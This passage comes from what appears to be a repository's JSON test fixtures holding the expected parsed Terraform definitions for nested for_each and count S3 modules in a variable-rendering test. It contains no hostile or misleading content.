\\\"b\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module[\\\"c\\\"].bucket2\",\n        \"bucket2\": [\n          false\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module[\\\"c\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              false\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module[\\\"c\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"c\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[0].module.inner_s3_module[\\\"c\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[0].module.inner_s3_module[\\\"c\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[0].module.inner_s3_module[\\\"c\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"c\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[1].module.inner_s3_module[\\\"c\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[1].module.inner_s3_module[\\\"c\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[1].module.inner_s3_module[\\\"c\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"d\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module[\\\"d\\\"].bucket2\",\n        \"bucket2\": [\n          false\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module[\\\"d\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              false\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module[\\\"d\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"d\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module[\\\"d\\\"].bucket2\",\n        \"bucket2\": [\n          false\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module[\\\"d\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              false\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module[\\\"d\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"d\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[0].module.inner_s3_module[\\\"d\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[0].module.inner_s3_module[\\\"d\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[0].module.inner_s3_module[\\\"d\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"d\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[1].module.inner_s3_module[\\\"d\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[1].module.inner_s3_module[\\\"d\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[1].module.inner_s3_module[\\\"d\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"e\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2[\\\"e\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"e\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2[\\\"e\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"e\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[0].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n        \"bucket2\": [\n          true\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[0].module.inner_s3_module2[\\\"e\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              true\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[0].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"e\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[1].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n        \"bucket2\": [\n          true\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[1].module.inner_s3_module2[\\\"e\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              true\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[1].module.inner_s3_module2[\\\"e\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"f\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2[\\\"f\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"f\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n        \"bucket2\": [\n          \"\"\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2[\\\"f\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"f\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[0].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n        \"bucket2\": [\n          true\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[0].module.inner_s3_module2[\\\"f\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              true\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[0].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"f\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module2[1].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n        \"bucket2\": [\n          true\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module2[1].module.inner_s3_module2[\\\"f\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              true\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[1].module.inner_s3_module2[\\\"f\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/variable.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"count_var\": {\n          \"__address__\": \"count_var\",\n          \"__end_line__\": 4,\n          \"__start_line__\": 2,\n          \"default\": [\n            2\n          ]\n        }\n      },\n      {\n        \"foreach_var\": {\n          \"__address__\": \"foreach_var\",\n          \"__end_line__\": 8,\n          \"__start_line__\": 6,\n          \"default\": [\n            [\n              \"a\",\n              \"b\"\n            ]\n          ]\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/expected_foreach_modules_tf_definitions.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"s3_module[\\\"a\\\"]\": {\n          \"__end_line__\": 12,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket\": [\n            false\n          ],\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module\"\n          ],\n          \"__address__\": \"s3_module[\\\"a\\\"]\"\n        }\n      },\n      {\n        \"s3_module2[0]\": {\n          \"__end_line__\": 19,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 14,\n          \"bucket\": [\n            \"\"\n          ],\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module\"\n          ],\n          \"__address__\": \"s3_module2[0]\"\n        }\n      },\n      {\n        \"s3_module[\\\"b\\\"]\": {\n          \"__end_line__\": 12,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket\": [\n            false\n          ],\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module\"\n          ],\n          \"__address__\": \"s3_module[\\\"b\\\"]\"\n        }\n      },\n      {\n        \"s3_module2[1]\": {\n          \"__end_line__\": 19,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 14,\n          \"bucket\": [\n            \"\"\n          ],\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module\"\n          ],\n          \"__address__\": \"s3_module2[1]\"\n        }\n      }\n    ],\n    \"provider\": [\n      {\n        \"aws\": {\n          \"__end_line__\": 5,\n          \"__start_line__\": 1,\n          \"alias\": [\n            \"test_provider\"\n          ],\n          \"region\": [\n            \"us-west-2\"\n          ],\n          \"test_provider\": [\n            true\n          ],\n          \"__address__\": \"aws.test_provider\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}\": {\n    